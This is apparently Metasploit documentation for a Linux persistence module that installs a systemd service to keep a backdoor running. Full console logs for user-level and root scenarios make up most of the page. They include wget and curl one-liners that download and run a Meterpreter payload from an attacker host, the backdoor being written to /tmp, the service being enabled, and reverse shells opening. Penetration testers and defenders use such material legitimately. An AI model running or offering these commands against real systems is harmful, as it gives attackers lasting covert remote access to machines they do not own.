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rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/documentation/modules/exploit/linux/persistence/init_systemd.md
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Vulnerable Application

This module will create a service on the box, and mark it for auto-restart. We need enough access to write service files and potentially restart services systemd should be available on the following systems:

Targets:

  • CentOS 7

  • Debian >= 7, <=8

  • Fedora >= 15

  • Ubuntu >= 15.04

Verified on Ubuntu 18.04.3

Verification Steps

  1. Exploit a box

  2. use exploit/linux/persistence/init_systemd

  3. set SESSION <session>

  4. set PAYLOAD <payload>

  5. set LHOST <lhost>

  6. exploit

Options

SERVICE

The name of the service to create. If not chosen, a random one is created.

PAYLOAD_NAME

The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.

Target: systemd

Requires root permission, or equivalent. Installs the service into /lib/systemd/system/#{service_filename}.service

Target: systemd user

Requires user level permission. Installs the service into #{home}/.config/systemd/user/#{service_filename}.service

Scenarios

Ubuntu 18.04

user

Initial access vector via web delivery

resource (/root/.msf4/msfconsole.rc)> setg verbose true verbose => true resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 lhost => 111.111.1.111 resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set srvport 8181 srvport => 8181 resource (/root/.msf4/msfconsole.rc)> set target 7 target => 7 resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set lport 4545 lport => 4545 resource (/root/.msf4/msfconsole.rc)> set URIPATH l URIPATH => l resource (/root/.msf4/msfconsole.rc)> run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Starting persistent handler(s)... [*] Started reverse TCP handler on 111.111.1.111:4545 [*] Using URL: http://111.111.1.111:8181/l [*] Server started. [*] Run the following command on the target machine: wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown [msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 222.222.2.222 [*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500

Persistence

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp [msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1 session => 1 [msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1 target => 1 [msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit [*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV& [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > [*] Fetch handler listening on 111.111.1.111:8080 [*] HTTP server started [*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg [*] Started reverse TCP handler on 111.111.1.111:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. [+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based [!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. [*] Writing backdoor to /tmp//wiyCnjJRK [*] Creating user service directory [*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service [*] Reloading manager configuration [*] Enabling service [*] Starting service: hakiMwGMnXA [*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg [*] Sending payload to 222.222.2.222 (curl/7.58.0) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 222.222.2.222 [*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc [*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500 [msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2 [*] Starting interaction with 2... (Meterpreter 2)(/home/ubuntu) > sysinfo Computer : ubuntu18desktop.local OS : Ubuntu 18.04 (Linux 5.3.0-26-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux (Meterpreter 2)(/home/ubuntu) > getuid Server username: ubuntu

root

Initial access vector via web delivery

resource (/root/.msf4/msfconsole.rc)> setg verbose true verbose => true resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 lhost => 111.111.1.111 resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery [*] Using configured payload python/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set srvport 8181 srvport => 8181 resource (/root/.msf4/msfconsole.rc)> set target 7 target => 7 resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp payload => linux/x64/meterpreter/reverse_tcp resource (/root/.msf4/msfconsole.rc)> set lport 4545 lport => 4545 resource (/root/.msf4/msfconsole.rc)> set URIPATH l URIPATH => l resource (/root/.msf4/msfconsole.rc)> run [*] Exploit running as background job 0. [*] Exploit completed, but no session was created. [*] Starting persistent handler(s)... [*] Started reverse TCP handler on 111.111.1.111:4545 [*] Using URL: http://111.111.1.111:8181/l [*] Server started. [*] Run the following command on the target machine: wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown [msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 222.222.2.222 [*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500 [msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1 [*] Starting interaction with 1... (Meterpreter 1)(/home/ubuntu) > getuid Server username: root (Meterpreter 1)(/home/ubuntu) > sysinfo Computer : ubuntu18desktop.local OS : Ubuntu 18.04 (Linux 5.3.0-26-generic) Architecture : x64 BuildTuple : x86_64-linux-musl Meterpreter : x64/linux (Meterpreter 1)(/home/ubuntu) > background [*] Backgrounding session 1...

Persistence

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd [*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp [msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1 session => 1 [msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit [*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa& [*] Exploit running as background job 1. [*] Exploit completed, but no session was created. [msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) > [*] Fetch handler listening on 111.111.1.111:8080 [*] HTTP server started [*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg [*] Started reverse TCP handler on 111.111.1.111:4444 [*] Running automatic check ("set AutoCheck false" to disable) [!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. [+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based [!] Payloads in /tmp will only last until reboot, you want to choose elsewhere. [*] Writing backdoor to /tmp//nfiWHmr [*] Writing service: /lib/systemd/system/SBFzvKrWjH.service [*] Enabling service [*] Starting service [*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg [*] Sending payload to 222.222.2.222 (curl/7.58.0) [*] Transmitting intermediate stager...(126 bytes) [*] Sending stage (3045380 bytes) to 222.222.2.222 [*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc [*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500